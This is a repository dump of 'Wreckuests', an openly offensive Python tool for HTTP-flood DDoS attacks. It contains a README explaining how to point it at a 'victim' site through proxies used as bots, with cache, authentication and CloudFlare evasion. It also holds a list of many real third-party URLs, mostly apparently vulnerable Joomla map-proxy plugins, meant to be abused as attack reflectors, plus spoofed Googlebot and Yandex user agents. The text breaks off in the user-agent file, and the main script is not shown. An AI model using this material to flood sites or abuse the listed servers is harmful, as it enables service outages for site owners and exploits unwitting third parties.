├── .gitignore ├── LICENSE ├── README.md ├── files ├── proxy.txt ├── referers.txt └── user-agents.txt ├── install.sh ├── logo.png └── wreckuests.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | local_settings.py 55 | 56 | # Flask stuff: 57 | instance/ 58 | .webassets-cache 59 | 60 | # Scrapy stuff: 61 | .scrapy 62 | 63 | # Sphinx documentation 64 | docs/_build/ 65 | 66 | # PyBuilder 67 | target/ 68 | 69 | # IPython Notebook 70 | .ipynb_checkpoints 71 | 72 | # pyenv 73 | .python-version 74 | 75 | # celery beat schedule file 76 | celerybeat-schedule 77 | 78 | # dotenv 79 | .env 80 | 81 | # virtualenv 82 | venv/ 83 | ENV/ 84 | 85 | # Spyder project settings 86 | .spyderproject 87 | 88 | # Rope project settings 89 | .ropeproject 90 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Andrew 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | logo 3 |

4 | 5 | ## What is this? 6 | Wreckuests is a script, which allows you to run DDoS attacks with HTTP-flood(GET/POST). It's written in pure Python and uses proxy-servers as "bots". OF COURSE, this script is not universal and you can't just drop Pentagon/NSA/whatever website with just a single mouse click. Each attack is unique, and for each website you'd need to search for vulnerabilities and exult them. 7 | 8 | **Warning:** This script is published for educational purposes only! Author will accept no responsibility for any consequences, damage or loss which might result from use. 9 | ## Features 10 | * Cache bypass with URL parameters randomization 11 | * CloudFlare detection and notification of 12 | * Automatic gzip/deflate toggling 13 | * HTTP Authentication bypass 14 | * UserAgent substitution 15 | * Referers randomizer 16 | * HTTP proxy support 17 | 18 | ...and everything else that [kennethreitz/requests](https://github.com/kennethreitz/requests) can do 19 | 20 | ## Todo 21 | TODO tasks are given in [Projects](https://github.com/JamesJGoodwin/PYg0odwin/projects/1) section. 22 | 23 | ## Dependencies 24 | * Python 3.5+ 25 | * [Requests](https://github.com/kennethreitz/requests) 2.10.0 or higher 26 | * [netaddr](https://pypi.python.org/pypi/netaddr) tested with 0.7.19 27 | 28 | ## Installation 29 | Just clone repository in the disired directory and run the installation script: 30 | 31 | ```bash 32 | chmod +x install.sh 33 | ./install.sh 34 | ``` 35 | 36 | ## Usage 37 | Type under *sudo* mode: 38 | 39 | `python3 wreckuests.py -v -a -t ` 40 | 41 | ### Possible parameters: 42 | 43 | `-h` or `--help`: 44 | 45 | Prints a message with possible parameters. 46 | 47 | `-v` or `--victim`: 48 | 49 | Specifies a link to the victim's site page. It could be the website's main page, someone's profile, `.php`-file or even image. Everything that has a lot of weight or is hard for server to give. The choice is yours. 50 | 51 | `-a` or `--auth`: 52 | 53 | Parameter for bypassing authentication. You'r victim could enable basic HTTP authentication and his website will ask you to enter login and password in popup window. Victim may previously publish login and password data for his users in VK/FB/Twitter and whatever social network. 54 | 55 | `-t` or `--timeout`(defalut: 10): 56 | 57 | Parameter to control connection'n'read timeout. This option also controls terminating time. **Note:** if you set `timeout=1` or somewhere about 2-3 seconds, the slow(but still working) proxies will not have any time to even connect to your victim's website and will not even hit it. If you still do not understand how it works - do not change this option. Also, this parameter regulates the intensiveness of requests you sending. So, if you sure your proxies are fast enough - you can reduce this value. Use this accordingly. 58 | 59 | ## Important 60 | 61 | A separate thread is created for each proxy address. The more proxies you use - the more threads you create. So, please, do not use way too much proxies. Otherwise, the script may exit abnormaly by meeting segmentation fault. 62 | 63 |

:sparkles: *Feel free to contribute* :sparkles:

64 | -------------------------------------------------------------------------------- /files/referers.txt: -------------------------------------------------------------------------------- 1 | https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u= 2 | https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u= 3 | https://drive.google.com/viewerng/viewer?url= 4 | http://www.google.com/translate?u= 5 | https://developers.google.com/speed/pagespeed/insights/?url= 6 | http://help.baidu.com/searchResult?keywords= 7 | http://www.bing.com/search?q= 8 | https://add.my.yahoo.com/rss?url= 9 | https://play.google.com/store/search?q= 10 | http://www.google.com/?q= 11 | http://regex.info/exif.cgi?url= 12 | http://anonymouse.org/cgi-bin/anon-www.cgi/ 13 | http://www.google.com/translate?u= 14 | http://translate.google.com/translate?u= 15 | http://validator.w3.org/feed/check.cgi?url= 16 | http://www.w3.org/2001/03/webdata/xsv?style=xsl&docAddrs= 17 | http://validator.w3.org/check?uri= 18 | http://jigsaw.w3.org/css-validator/validator?uri= 19 | http://validator.w3.org/checklink?uri= 20 | http://www.w3.org/RDF/Validator/ARPServlet?URI= 21 | http://www.w3.org/2005/08/online_xslt/xslt?xslfile=http%3A%2F%2Fwww.w3.org%2F2002%2F08%2Fextract-semantic.xsl&xmlfile= 22 | http://www.w3.org/2005/08/online_xslt/xslt?xmlfile=http://www.w3.org&xslfile= 23 | http://validator.w3.org/mobile/check?docAddr= 24 | http://validator.w3.org/p3p/20020128/p3p.pl?uri= 25 | http://online.htmlvalidator.com/php/onlinevallite.php?url= 26 | http://feedvalidator.org/check.cgi?url= 27 | http://gmodules.com/ig/creator?url= 28 | http://www.google.com/ig/adde?moduleurl= 29 | http://www.cynthiasays.com/mynewtester/cynthia.exe?rptmode=-1&url1= 30 | http://www.watchmouse.com/en/checkit.php?c=jpcheckit&vurl= 31 | http://host-tracker.com/check_page/?furl= 32 | http://panel.stopthehacker.com/services/validate-payflow?email=1@1.com&callback=a&target= 33 | http://www.onlinewebcheck.com/check.php?url= 34 | http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL= 35 | http://www.translate.ru/url/translation.aspx?direction=er&sourceURL= 36 | http://about42.nl/www/showheaders.php;POST;about42.nl.txt 37 | http://browsershots.org;POST;browsershots.org.txt 38 | http://streamitwebseries.twww.tv/proxy.php?url= 39 | http://www.comicgeekspeak.com/proxy.php?url= 40 | http://67.20.105.143/bitess/plugins/content/plugin_googlemap2_proxy.php?url= 41 | http://bemaxjavea.com/javea-rentals-alquileres/plugins/content/plugin_googlemap2_proxy.php?url= 42 | http://centrobrico.net/plugins/content/plugin_googlemap2_proxy.php?url= 43 | http://conodeluz.org/magnanet/plugins/content/plugin_googlemap2_proxy.php?url= 44 | http://greenappledentaldt.com/home/templates/plugins/content/plugin_googlemap2_proxy.php?url= 45 | http://html.strost.ch/dgi/plugins/content/plugin_googlemap2_proxy.php?url= 46 | http://kobbeleia.net/joomla/plugins/content/plugin_googlemap2_proxy.php?url= 47 | http://krd-medway.co.uk/site/plugins/content/plugin_googlemap2_proxy.php?url= 48 | http://minterne.co.uk/mjs/plugins/content/plugin_googlemap2_proxy.php?url= 49 | http://old.ucpb.org/plugins/content/plugin_googlemap2_proxy.php?url= 50 | http://www.abs-silos.de/en/plugins/content/plugin_googlemap2_proxy.php?url= 51 | http://www.admksg.ru/plugins/content/plugin_googlemap2_proxy.php?url= 52 | http://www.autoklyszewski.pl/autoklyszewski/mambots/content/plugin_googlemap2_proxy.php?url= 53 | http://www.build.or.at/plugins/content/plugin_googlemap2_proxy.php?url= 54 | http://www.caiverbano.it/sito/plugins/content/plugin_googlemap2_proxy.php?url= 55 | http://www.cbcstittsville.com/home/plugins/content/plugin_googlemap2_proxy.php?url= 56 | http://www.ciutatdeivissa.org/portal/plugins/content/plugin_googlemap2_proxy.php?url= 57 | http://www.contrau.com.br/web/plugins/content/plugin_googlemap2_proxy.php?url= 58 | http://www.dierenhotelspaubeek.nl/plugins/content/plugin_googlemap2_proxy.php?url= 59 | http://www.gaston-schul.nl/DU/plugins/content/plugin_googlemap2_proxy.php?url= 60 | http://www.gaston-schul.nl/FR/plugins/content/plugin_googlemap2_proxy.php?url= 61 | http://www.gillinghamgurdwara.co.uk/site/plugins/content/plugin_googlemap2_proxy.php?url= 62 | http://www.gilmeuble.ch/cms/plugins/content/plugin_googlemap2_proxy.php?url= 63 | http://www.hortonmccormick.com/cms/plugins/content/plugin_googlemap2_proxy.php?url= 64 | http://www.kanzlei-berendes.de/homepage/plugins/content/plugin_googlemap2_proxy.php?url= 65 | http://www.kita-spielhaus.de/cms/plugins/content/plugin_googlemap2_proxy.php?url= 66 | http://www.lacasaencarilo.com.ar/sitio/plugins/content/plugin_googlemap2_proxy.php?url= 67 | http://www.losaromos-spa.com.ar/cms/plugins/content/plugin_googlemap2_proxy.php?url= 68 | http://www.losaromos-spa.com.ar/~losaromo/cms/plugins/content/plugin_googlemap2_proxy.php?url= 69 | http://www.nickclift.co.uk/web/plugins/content/plugin_googlemap2_proxy.php?url= 70 | http://www.palagini.it/palagini/plugins/content/plugin_googlemap2_proxy.php?url= 71 | http://www.parsifaldisco.com/joomla/plugins/content/plugin_googlemap2_proxy.php?url= 72 | http://www.podosys.com/csm/plugins/content/plugin_googlemap2_proxy.php?url= 73 | http://www.renault-windisch.de/cms/plugins/content/plugin_googlemap2_proxy.php?url= 74 | http://www.riegler-dorner.at/joomla/plugins/content/plugin_googlemap2_proxy.php?url= 75 | http://www.seevilla-dr-sturm.at/cms/plugins/content/plugin_googlemap2_proxy.php?url= 76 | http://www.sounders.es/plugins/content/plugin_googlemap2_proxy.php?url= 77 | http://www.suelcasa.com/suelcasa/plugins/content/plugin_googlemap2_proxy.php?url= 78 | http://www.tcl.lu/Site/plugins/content/plugin_googlemap2_proxy.php?url= 79 | http://www.tijssen-staal.nl/site/plugins/content/plugin_googlemap2_proxy.php?url= 80 | http://www.triatarim.com.tr/TriaEn/plugins/content/plugin_googlemap2_proxy.php?url= 81 | http://www.tus-haltern.de/site/plugins/content/plugin_googlemap2_proxy.php?url= 82 | http://www.vm-esslingen.de/cms/plugins/content/plugin_googlemap2_proxy.php?url= 83 | http://www.zahnarzt-buhl.de/praxis/plugins/content/plugin_googlemap2_proxy.php?url= 84 | http://www.sultanpalace.nl/site/plugins/content/plugin_googlemap2_proxy.php?url= 85 | http://www.bergenpol.com/cms//plugins/content/plugin_googlemap2_proxy.php?url= 86 | http://www.arantzabelaikastola.com/webgunea//plugins/content/plugin_googlemap2_proxy.php?url= 87 | http://www.fare-furore.com/plugins/content/plugin_googlemap2_proxy.php?url= 88 | http://www.dog-ryusen.com/plugins/system/plugin_googlemap2_proxy.php?url= 89 | http://www.spvgg-roedersheim.de/web/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 90 | http://www.dahlnet.no/v2/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 91 | http://ping-admin.ru/index.sema;POST;ping-admin.ru.txt 92 | http://web-sniffer.net/?url= 93 | http://sova-tour.com.ua/plugins/system/plugin_googlemap2_proxy.php?url= 94 | http://scu-oldesloe.de/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 95 | http://translate.yandex.ru/translate?srv=yasearch&lang=ru-uk&url= 96 | http://translate.yandex.ua/translate?srv=yasearch&lang=ru-uk&url= 97 | http://translate.yandex.net/tr-url/ru-uk.uk/ 98 | http://www.bongert.lu/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 99 | http://laresmadrid.org/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 100 | http://doleorganic.com/plugins/content/plugin_googlemap2_proxy.php?url= 101 | http://crawfordlivestock.com/plugins/system/plugin_googlemap2_proxy.php?url= 102 | http://www.aculaval.com/joomla/plugins/system/plugin_googlemap2_proxy.php?url= 103 | http://grandsultansaloon.com/plugins/system/plugin_googlemap2_proxy.php?url= 104 | http://www.d1010449.cp.blacknight.com/cpr.ie/plugins/content/plugin_googlemap2_proxy.php?url= 105 | http://www.architettaresas.it/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 106 | http://basketgbkoekelare.be/plugins/content/plugin_googlemap2_proxy.php?url= 107 | http://www.arbitresmultisports.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 108 | http://mobilrecord.com/plugins/content/plugin_googlemap2_proxy.php?url= 109 | http://www.dbaa.co.za/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 110 | http://waggum-bevenrode.sg-bevenrode.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 111 | http://bwsnt1.pdsda.net/plugins/system/plugin_googlemap3_proxy.php?url= 112 | http://www.astecdisseny.com/plugins/content/plugin_googlemap2_proxy.php?url= 113 | http://www.fillmorefairways.com/plugins/content/plugin_googlemap2_proxy.php?url= 114 | http://www.bus-reichert.eu/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 115 | http://www.maxxxi.ru/plugins/system/plugin_googlemap2_proxy.php?url= 116 | http://potholepeople.co.nz/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 117 | http://www.hammondgolf.com/plugins/system/plugin_googlemap2_proxy.php?url= 118 | http://www.footgoal33.com/plugins/content/plugin_googlemap2_proxy.php?url= 119 | http://bbtoma.com/plugins/content/plugin_googlemap2_proxy.php?url= 120 | http://www.tajmahalrestaurant.co.za/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 121 | http://www.yerbabuenacuisine.com/plugins/system/plugin_googlemap2_proxy.php?url= 122 | http://www.rinner-alm.com/plugins/system/plugin_googlemap2_proxy.php?url= 123 | http://stockbridgetownhall.co.uk/plugins/content/plugin_googlemap2_proxy.php?url= 124 | http://mentzerrepairs.com/plugins/system/plugin_googlemap2_proxy.php?url= 125 | http://www.tilmouthwell.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 126 | http://www.homevisionsinc.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 127 | http://toddlers.nalanda.edu.in/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 128 | http://cultura-city.rv.ua/plugins/system/plugin_googlemap3_proxy.php?url= 129 | http://secret.leylines.info/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 130 | http://bike-electric.co.uk/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 131 | http://www.centroaquaria.com/plugins/content/plugin_googlemap2_proxy.php?url= 132 | http://agenzia-anna.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 133 | http://www.gretnadrug.com/plugins/system/plugin_googlemap2_proxy.php?url= 134 | http://www.crestwoodpediatric.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 135 | http://www.oceans-wien.com/plugins/system/plugin_googlemap2_proxy.php?url=;BYPASS 136 | http://lavori.joomlaskin.it/italyhotels/wp-content/plugins/js-multihotel/includes/show_image.php?w=1&h=1&file= 137 | http://santaclaradelmar.com/hoteles/wp-content/plugins/js-multihotel/includes/show_image.php?w=1&h=1&file= 138 | http://www.authentic-luxe-locations.com/wp-content/plugins/js-multihotel/includes/show_image.php?w=1&h=1&file= 139 | http://www.keenecinemas.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 140 | http://www.hotelmonyoli.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 141 | http://prosperitydrug.com/plugins/content/plugin_googlemap2_proxy.php?url= 142 | http://policlinicamonteabraao.com/plugins/content/plugin_googlemap2_proxy.php?url= 143 | http://www.vetreriafasanese.com/plugins/system/plugin_googlemap2_proxy.php?url= 144 | http://www.benawifi.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 145 | http://www.valleyview.sa.edu.au/plugins/system/plugin_googlemap2_proxy.php?url= 146 | http://www.racersedgekarting.com/plugins/content/plugin_googlemap2_proxy.php?url= 147 | http://www.minterne.co.uk/mjs/plugins/content/plugin_googlemap2_proxy.php?url=?url= 148 | http://www.villamagnoliarelais.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 149 | http://worldwide-trips.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 150 | http://systemnet.com.ua/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 151 | http://www.netacad.lviv.ua/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 152 | http://www.veloclub.ru/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 153 | http://www.virtualsoft.pl/plugins/content/plugin_googlemap3_proxy.php?url= 154 | http://gminazdzieszowice.pl/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 155 | http://fets3.freetranslation.com/?Language=English%2FSpanish&Sequence=core&Url= 156 | http://www.fare-furore.com/com-line/plugins/content/plugin_googlemap2_proxy.php?url= 157 | http://www.rotisseriesalaberry.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 158 | http://www.lbajoinery.com.au/plugins/content/plugin_googlemap2_proxy.php?url= 159 | http://www.seebybike.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 160 | http://www.copiflash.com/plugins/content/plugin_googlemap2_proxy.php?url= 161 | http://suttoncenterstore.com/plugins/system/plugin_googlemap2_proxy.php?url= 162 | http://coastalcenter.net/plugins/system/plugin_googlemap2_proxy.php?url= 163 | http://whitehousesurgery.org/plugins/content/plugin_googlemap2_proxy.php?url= 164 | http://www.vertexi.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 165 | http://www.owl.cat/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 166 | http://www.sizzlebistro.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 167 | http://thebluepine.com/plugins/system/plugin_googlemap2_proxy.php?url= 168 | http://donellis.ie/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 169 | http://validator.w3.org/unicorn/check?ucn_task=conformance&ucn_uri= 170 | http://validator.w3.org/nu/?doc= 171 | http://check-host.net/check-http?host= 172 | http://www.netvibes.com/subscribe.php?url= 173 | http://www-test.cisel.ch/web/plugins/content/plugin_googlemap2_proxy.php?url= 174 | http://www.sistem5.net/ww/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 175 | http://www.fmradiom.hu/palosvorosmart/plugins/content/plugin_googlemap2_proxy.php?url= 176 | http://www.iguassusoft.com/site/plugins/content/plugin_googlemap2_proxy.php?url= 177 | http://lab.univ-batna.dz/lea/plugins/system/plugin_googlemap2_proxy.php?url= 178 | http://www.computerpoint3.it/cp3/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 179 | http://hotel-veles.com/plugins/content/plugin_googlemap2_proxy.php?url= 180 | http://klaassienatuinstra.nl/plugins/content/plugin_googlemap2_proxy.php?url= 181 | http://www.google.com/ig/add?feedurl= 182 | http://anonymouse.org/cgi-bin/anon-www.cgi/ 183 | http://www.google.com/translate?u= 184 | http://translate.google.com/translate?u= 185 | http://validator.w3.org/feed/check.cgi?url= 186 | http://www.w3.org/2001/03/webdata/xsv?style=xsl&docAddrs= 187 | http://validator.w3.org/check?uri= 188 | http://jigsaw.w3.org/css-validator/validator?uri= 189 | http://validator.w3.org/checklink?uri= 190 | http://qa-dev.w3.org/unicorn/check?ucn_task=conformance&ucn_uri= 191 | http://www.w3.org/RDF/Validator/ARPServlet?URI= 192 | http://www.w3.org/2005/08/online_xslt/xslt?xmlfile=http://www.w3.org&xslfile= 193 | http://www.w3.org/services/tidy?docAddr= 194 | http://validator.w3.org/mobile/check?docAddr= 195 | http://validator.w3.org/p3p/20020128/p3p.pl?uri= 196 | http://validator.w3.org/p3p/20020128/policy.pl?uri= 197 | http://online.htmlvalidator.com/php/onlinevallite.php?url= 198 | http://feedvalidator.org/check.cgi?url= 199 | http://gmodules.com/ig/creator?url= 200 | http://www.google.com/ig/adde?moduleurl= 201 | http://www.cynthiasays.com/mynewtester/cynthia.exe?rptmode=-1&url1= 202 | http://www.watchmouse.com/en/checkit.php?c=jpcheckit&vurl= 203 | http://host-tracker.com/check_page/?furl= 204 | http://panel.stopthehacker.com/services/validate-payflow?email=1@1.com&callback=a&target= 205 | http://www.viewdns.info/ismysitedown/?domain= 206 | http://www.onlinewebcheck.com/check.php?url= 207 | http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL= 208 | http://www.translate.ru/url/translation.aspx?direction=er&sourceURL= 209 | http://streamitwebseries.twww.tv/proxy.php?url= 210 | http://www.comicgeekspeak.com/proxy.php?url= 211 | -------------------------------------------------------------------------------- /files/user-agents.txt: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 2 | Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 2.1 -- Server Common 3 | Mozilla/5.0 (compatible; Googlebot/2.1; startmebot/1.0; +https://start.me/bot) 4 | Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 5 | Googlebot/2.1 (+http://www.googlebot.com/bot.html) 6 | Googlebot/2.1 (+http://www.google.com/bot.html) 7 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; Google Page Speed Insights) Chrome/27.0.1453 Safari/537.36 GoogleBot/2.1 8 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; Google Page Speed Insights) Version/6.0 Mobile/10A525 Safari/8536.25 GoogleBot/2.1 9 | Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html) 10 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; Google Web Preview Analytics) Chrome/27.0.1453 Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 11 | Mozilla/5.0 (compatible;acapbot/0.1;treat like Googlebot) 12 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://import.io) 13 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.4 (KHTML, like Gecko; Google Page Speed Insights) Chrome/22.0.1229 Safari/537.4 GoogleBot/2.1 14 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; Google Web Preview Analytics) Chrome/41.0.2272.118 Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 15 | OnPageBot (compatible; Googlebot 2.1; +https://bot.onpage.org/) 16 | Google Crawler: Googlebot/2.1 (+http://www.google.com/bot.html) 17 | Googlebot/2.1; +http://www.google.com/bot.html) 18 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36 19 | Mozilla/5.0 (compatible; Googlebot/2.1 +http://www.googlebot.com/bot.html) 20 | Mozilla/5.0 (compatible;acapbot/0.1.;treat like Googlebot) 21 | Mozilla/5.0 (iPhone; U; CPU iPhone 0S 3.0 like Mac 0S X; en-us; compatible; Googlebot/2.1; http://www.google.com/bot.html; AppleWebKit/528.18(KHTML,like Gecko) Version/4.0 Mobile/7A341 Safari/528.16 UNTRUSTED/1.0 22 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html 23 | Apple-iPhone4C1/1001.523 (compatible;acapbot/0.1;treat like Googlebot) 24 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 25 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)/Nutch-2.3.1 26 | Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 27 | Mozilla/5.0 (compatible; Googlebot/2.1; https://deepcrawl.com/bot) 28 | Mozilla/5.0 (compatible; Googlebot/2.1; https://www.deepcrawl.com/bot) 29 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) UNTRUSTED/1.0 30 | Mozilla/5.0 (compatible; WebHistoryBot/1.2.1 IS NOT SE bot like Googlebot/2.1; +http://www.google.com/bot.html,Yahoo! Slurp or Bingbot) 31 | Googlebot/2.1 (+http://www.googlebot.com/bot.html) 32 | Googlebot/2.1; http://www.google.com/bot.html 33 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html ) 34 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 35 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) AlexaToolbar/alxf-2.17 36 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) FirePHP/0.7.4 37 | NokiaC1-01/2.0 (06.15) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 (iPhone; U; CPU iPhone 0S 3.0 like Mac 0S X; en-us; compatible; Googlebot/2.1; http://www.google.com/bot.html; AppleWebKit/528.18(KHTML,like Gecko) Version/4.0 Mobile/7A341 Safari/528.16 UNTRUSTED/1.0 38 | Mozilla/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit/537.4 (KHTML, like Gecko; Google Page Speed Insights) Version/6.0 Mobile/10A525 Safari/8536.25 GoogleBot/2.1 39 | Googlebot (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 40 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 41 | Googlebot/2.1 (+http://www.googlebot.com/bot.html) (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko 42 | BotThief (compatible; Googlebot/2.1; Location RU) 43 | Mozilla/5.0+(compatible;+googlebot/2.1;++http://www.google.com/bot.html) 44 | Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots) 45 | Mozilla/5.0 (compatible; YandexAdNet/1.0; +http://yandex.com/bots) 46 | Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) 47 | Mozilla/5.0 (compatible; YandexBot/3.0; MirrorDetector; +http://yandex.com/bots) 48 | Mozilla/5.0 (compatible; YandexCalendar/1.0; +http://yandex.com/bots) 49 | Mozilla/5.0 (compatible; YandexDirect/3.0; +http://yandex.com/bots) 50 | Mozilla/5.0 (compatible; YandexDirectDyn/1.0; +http://yandex.com/bots) 51 | Mozilla/5.0 (compatible; YaDirectFetcher/1.0; Dyatel; +http://yandex.com/bots) 52 | Mozilla/5.0 (compatible; YandexFavicons/1.0; +http://yandex.com/bots) 53 | Mozilla/5.0 (compatible; YandexForDomain/1.0; +http://yandex.com/bots) 54 | Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots) 55 | Mozilla/5.0 (compatible; YandexImageResizer/2.0; +http://yandex.com/bots) 56 | Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4 (compatible; YandexBot/3.0; +http://yandex.com/bots) 57 | Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4 (compatible; YandexMobileBot/3.0; +http://yandex.com/bots) 58 | Mozilla/5.0 (compatible; YandexMarket/1.0; +http://yandex.com/bots) 59 | Mozilla/5.0 (compatible; YandexMedia/3.0; +http://yandex.com/bots) 60 | Mozilla/5.0 (compatible; 